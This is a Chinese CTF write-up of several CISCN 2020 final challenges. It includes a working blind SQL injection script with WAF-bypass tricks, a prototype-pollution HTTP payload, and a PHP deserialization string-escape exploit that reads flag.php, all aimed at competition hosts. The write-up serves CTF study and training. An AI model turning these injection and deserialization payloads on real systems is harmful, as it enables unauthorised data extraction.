CISCN2020-Final部分WriteUp
CISCN2020-Final部分WriteUp
写在前面
这次决赛本来是AWD+模式,但是由于比赛平台问题,导致第一天的比赛成绩基本没有计入,比赛信息各种不公开,ylb对于比赛选手也是态度非常不好,最后第二天居然现场改赛制(改成传统CTF),一上午短短几个小时决定胜负。本来是不想写的,前段时间准备毕设,但是想着马上去实习了,把这个比赛整理一下好了。
垃圾ylb,以后只要是ylb的比赛全部不会再参加。
WEB
Web1_ezsql
浏览器F12看到hint
这里暴露了sql语句以及真实的列名表名。然后爆破被过滤的符号,发现id和limit字段过滤的地方不一样。
id
Limit
直接使用/**/把limit 0,注释掉,再日常绕过waf即可。%0a绕过空格,regexp绕过=,十六进制绕过’和””,from for绕过逗号。最终exp为:
import requests
import re
#url = "http://172.1.1.10/index.php?id=12345/*&limit=xxxxx*/and%0dmid((select%0aflag%0afrom%0areal_flag)%0afrom%0a1%0afor%0a{a})%0aregexp%0a{b}"
url = "http://172.1.1.10/index.php?id=1/*&limit=1*/and%0dmid((select%0dflag%0dfrom%0dreal_flag)%0dfrom%0d1%0dfor%0d{a})%0dregexp%0d{b}"
flag = ""
hexf = "0x"
chars = "1234567890qwertyuiopasdfghjklzxcvbnm_{}"
for i in range(1,50):
for j in chars:
a = requests.get(url.format( a = i, b = hexf + str(hex(ord(j)))[2:])).text
if "nothing" not in a:
flag += j
hexf += str(hex(ord(j)))[2:]
print(flag)
break
Web2_MonsterBattle
漏洞点如上,非常简单的原型链污染,直接设置\__proto__就可以修改player的属性。这里需要注意的是:
Num,HP,aggressivity属性设置后是没有用的,会被覆盖,所以我只能设置buff属性。
又由于warrior和shooter角色会修改buff,所以只能用high_priest角色。
又由于BYZF和XELD会修改buff,所以选择ZLYG。
因此payload为:
POST /start HTTP/1.1
Host: 172.1.1.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 66
Origin: http://172.1.1.11
Connection: close
Referer: http://172.1.1.11/start
Upgrade-Insecure-Requests: 1
{"career":"high_priest", "item":"ZLYG", "__proto__":{"buff":1000}}
Web3_icsdb
一开始admin/admin进入后台,看到上传,卡了很久,最后放弃。然后扫描得到wwwroot.zip,直接开始源码审计,发现利用点根本就不是上传,思路错了。Dashboard.php的php源码如下
<?php
session_start();
include_once "lib.php";
if (isset($_POST["username"])
&& isset($_POST["password"])
&& isset($_POST["age"])
&& isset($_POST["email"])
&& is_string($_POST["username"])
&& is_string($_POST["password"])
&& is_string($_POST["age"])
&& is_string($_POST["email"])
)
{
$user = new User($_POST["username"], $_POST["password"], $_POST["age"], $_POST["email"] );
$user->register();
} else {
$user = new User($_SESSION['username'], $_SESSION['password'], $_SESSION['age'], $_SESSION['email']);
$user->register();
}
if (!isset($_SESSION['username']))
{
$user->alertMes("please register and login first", "./index.php");
}
?>
<?php
if (isset($_POST["old_password"])
&& isset($_POST["update_password"])
&& isset($_POST["update_age"])
&& isset($_POST["update_email"])
&& is_string($_POST["old_password"])
&& is_string($_POST["update_password"])
&& is_string($_POST["update_age"])
&& is_string($_POST["update_email"])
)
{
if ( preg_match('/[^\d]/', $_POST["update_age"]) || !filter_var($_POST["update_email"], FILTER_VALIDATE_EMAIL) || strlen($_POST["update_password"]) > 16 || preg_match('/\W/', $_POST["update_password"]) )
$user->alertMes("invalid information", "./dashboard.php");
$update_profile = array (
"old_password" => $_POST["old_password"],
"old_real_password" => $user->password,
"password" => $_POST["update_password"],
"age" => $_POST["update_age"],
"email" => $_POST["update_email"]
);
$user->update(serialize($update_profile));
}
?>
<?php
if (isset($_FILES["file"])) {
$allowed_extension = "png";
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp);
if ( (($_FILES["file"]["type"] == "image/x-png") || ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800)
&& $extension === $allowed_extension
)
{
if ($_FILES["file"]["error"] > 0) {
$user->alertMes("错误:: " . $_FILES["file"]["error"], "./dashboard.php");
} else if (file_exists("upload/" . MD5($_FILES["file"]["name"]) . ".png")){
$user->alertMes("file already exists, please change your filename", "./dashboard.php");
} else if (preg_match("/php|HALT\_COMPILER/i", file_get_contents($_FILES["file"]["tmp_name"]) )){
$user->alertMes("dangerous file content", "./dashboard.php");
}else {
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . MD5($_FILES["file"]["name"]) . ".png");
$user->set_avatar("upload/" . MD5($_FILES["file"]["name"]) . ".png");
echo "upload/" . MD5($_FILES["file"]["name"]) . ".png";
}
} else {
$user->alertMes("dangerous", "./dashboard.php");
}
}
$user_avatar = $user->get_avatar();
if ( is_string($user_avatar) && !empty($user_avatar)) {
$content = file_get_contents(__DIR__ . "/" . $user_avatar);
$png_header = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52";
if (strpos($content, $png_header) === false )
{
throw new Exception("png content got an unexpected Exception");
}
}
?>
在dashboard处最奇怪的地方在于:$user->update(serialize($update_profile));明明可以不需要序列化的地方强行序列化,一定有问题。其他的php文件中只有lib.php里面有比较重要的信息,其他的php都没啥用然后这里的lib.php里面只有一个类,就是User,由于在dashboard中调用了update函数,来看看update函数:
public function update($profile)
{
$data = unserialize($this->waf($profile));
if ($data["old_password"] !== $data["old_real_password"] )
return $this->check_data($data);
$this->password = $data["password"];
$this->age = $data["age"];
$this->email = $data["email"];
}
这里刚好一个反序列化,说明漏洞点基本就在这里了,然后这里调用了waf(),看看waf函数。
private function waf($string)
{
$waf = '/phar|file|gopher|http|sftp|flag/i';
return preg_replace($waf, 'index', $string);
}
看到这里思路就清晰了,老题目了,利用waf来进行反序列化的逃逸,这里我们可以采phar,file,http,sftp,flag来进行逃逸。然后这里还调用了$this->check_data($data);函数,来看这个函数:
private function check_data($data)
{
foreach( $data as $key => $value)
{
if ( is_array($value) )
return $this->check_data($value);
if ( is_object($value) && $value instanceof User)
{
$data_avatar = $value->get_avatar();
if ( is_string($data_avatar) && !empty($data_avatar)) {
$content = file_get_contents(__DIR__ . "/" . $data_avatar);
$png_header = "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52";
if (strpos($content, $png_header) === false )
{
throw new Exception("png content got an unexpected Exception");
}
}
}
}
return true;
}
这里当$value为对象时,调用get_avatar()获取文件名,然后读取文件名,写入png文件中。而get_avatar()函数获取的 $this->avatar在反序列化中可以被控制。
public function get_avatar()
{
return $this->avatar;
}
但是这里必须读取的文件必须有PNG头,所以这无法让我们读取到flag,最后我们看到__destruct()函数,这个函数直接读取文件,并且不比对文件头直接返回文件内容,我们可以通过这个来读取flag.php的内容
function __destruct()
{
if ( isset($this->username)
&& isset($this->password)
&& isset($this->age)
&& isset($this->email)
&& isset($this->avatar)
&& isset($this->content)
&& is_string($this->avatar)
&& !empty($this->avatar)
&& !preg_match('/\:\/\//', $this->avatar) )
{
$this->content = file_get_contents(__DIR__ . "/" . $this->avatar);
$res = "<script>\nvar img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64,content\";\nimg.alt = \"user\";\ndocument.getElementById(\"pro-avatar\").append(img);\n</script>";
$res = str_replace("content", base64_encode($this->content), $res);
echo $res;
}
}
所以思路就非常明显了,利用修改密码的功能,触发序列化与反序列化,然后利用waf()来逃逸一个User()类,并控制User类中的avatar属性为flag.php,这里有个小tricks,由于waf会替换到flag字符串,所以这里使用序列号中的S类型,利用16进制来绕过,对象被释放的时候自动调用魔法函数__destruct(),返回文件结果,exp如下:
<?php
class User
{
public $username='atd';
public $password='123';
public $age='123';
public $email='[email protected]';
public $avatar='flag.php';
public $content;
}
$a = new User();
$b = serialize($a);
#echo $b.'
#';
#echo strlen($b);
$c = '";s:3:"abc";'.$b.'s:1:"a";s:25:"';
#echo strlen($c);
echo 'pharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharphar'.$c;
#pharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharphar";s:3:"abc";O:4:"User":7:{s:8:"username";s:3:"atd";s:8:"password";s:3:"123";s:3:"age";s:3:"123";s:5:"email";s:10:"[email protected]";s:6:"avatar";S:8:"\66\6c\61\67\2e\70\68\70";s:7:"content";s:0:"";}s:1:"a";s:25:"
//echo strlen(serialize(array('age'=>'123','email'=>'[email protected]')));
//echo serialize(array('age'=>'123','email'=>'[email protected]'));
/*$update_profile = array (
"old_password" => '123',
"old_real_password" => 'pharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharphar";s:3:"abc";O:4:"User":7:{s:8:"username";s:3:"atd";s:8:"password";s:3:"123";s:3:"age";s:3:"123";s:5:"email";s:10:"[email protected]";s:6:"avatar";S:8:"\66\6c\61\67\2e\70\68\70";s:7:"content";s:0:"";}s:1:"a";s:25:"',
"password" => '123',
"age" => '123',
"email" => '[email protected]'
);
$user = new User();
$user->update(serialize($update_profile));*/
最终payload:
pharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharpharphar";s:3:"abc";O:4:"User":7:{s:8:"username";s:5:"b1ind";s:8:"password";s:3:"123";s:3:"age";s:3:"123";s:5:"email";s:10:"[email protected]";s:6:"avatar";S:8:"\66\6c\61\67\2e\70\68\70";s:7:"content";s:0:"";}s:1:"a";s:25:"
MISC
BadPic
这道题非常的坑,常规图片块修复,然后还要套一层openssl加密,在决赛没有网的情况下,由于不知道命令,所以没法做,还浪费了大把时间,其他师傅tql。
签到
base64后然后rot13
题目打包
提供比赛源码/题目给大家学习,至于环境自己研究。